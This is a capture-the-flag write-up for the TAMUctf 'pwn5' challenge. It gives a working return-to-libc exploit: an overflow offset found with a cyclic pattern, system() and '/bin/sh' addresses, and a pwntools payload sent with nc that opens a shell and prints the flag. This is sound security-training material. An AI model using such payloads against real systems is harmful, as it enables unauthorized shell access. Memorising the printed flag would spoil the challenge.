# Pwn5Pwn
## Challenge 
nc pwn.tamuctf.com 4325
Difficulty: medium
[pwn5](pwn5)
## Solution
Same as Pwn2, but now we have a char limit. We are only allowed 3 chars.
	$ nc pwn.tamuctf.com 4325	ls as a service (laas)(Copyright pending)	Version 2: Less secret strings and more portable!	Enter the arguments you would like to pass to ls:	ABCD	Result of ls ABC:
However, notice that it is still vulnerable to buffer overflow
	# pwn cyclic 50 | strace ./pwn5	--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x66616161} ---
	# pwn cyclic -l 0x66616161	17
We can try a return-to-libc attack to get it to run a shell.
### return-to-libc attack
> Reference:> https://bitvijays.github.io/LFC-BinaryExploitation.html
Find address of system() and exit() function
	(gdb) info add system	Symbol "system" is at 0x804ee30 in a file compiled without debugging.
	(gdb) info add exit	Symbol "exit" is at 0x804e330 in a file compiled without debugging.
Try payload without parameters
	# python -c 'from pwn import *; print cyclic(17) + p32(0x0804ee30)' | ./pwn5	ls as a service (laas)(Copyright pending)	Version 2: Less secret strings and more portable!	Enter the arguments you would like to pass to ls:	Result of ls aaa:	ls: cannot access 'aaa': No such file or directory	sh: 1: : not found	Segmentation fault
So it works, but we need to pass a parameter of a string. This is so we can execute it like system("/bin/sh") and get a shell.
In hopper disassembly, we see a static string in the memory
		aBinsh:	080bc140         db         "/bin/sh", 0
---
So the format for our payload is as follows:
	[17 bytes]  JUNK: fill buffer	[4 bytes]   0x0804ee30: return to system() address	[4 bytes]   0x0804e330: return to exit() after executing system() 	[4 bytes]   0x080bc140: parameter 1 of system()
Run final payload
	$ SCRIPT='from pwn import *; print cyclic(17) + p32(0x0804ee30) + p32(0x0804e330) + p32(0x080bc140)'	$ # (python -c "$SCRIPT"; cat) | nc pwn.tamuctf.com 4325 	ls as a service (laas)(Copyright pending)	Version 2: Less secret strings and more portable!	Enter the arguments you would like to pass to ls:	Result of ls aaa:
	ls -la		total 728		drwxr-xr-x 1 root    root      4096 Feb 19 20:47 .		drwxr-xr-x 1 root    root      4096 Feb 23 22:23 ..		-r--r--r-- 1 pwnflag pwnflag     32 Feb 19 20:46 flag.txt		-rwsr-xr-x 1 pwnflag pwnflag 730072 Feb 19 20:46 pwn5	cat flag.txt		gigem{r37urn_0r13n73d_pr4c71c3}
## Flag
	gigem{r37urn_0r13n73d_pr4c71c3}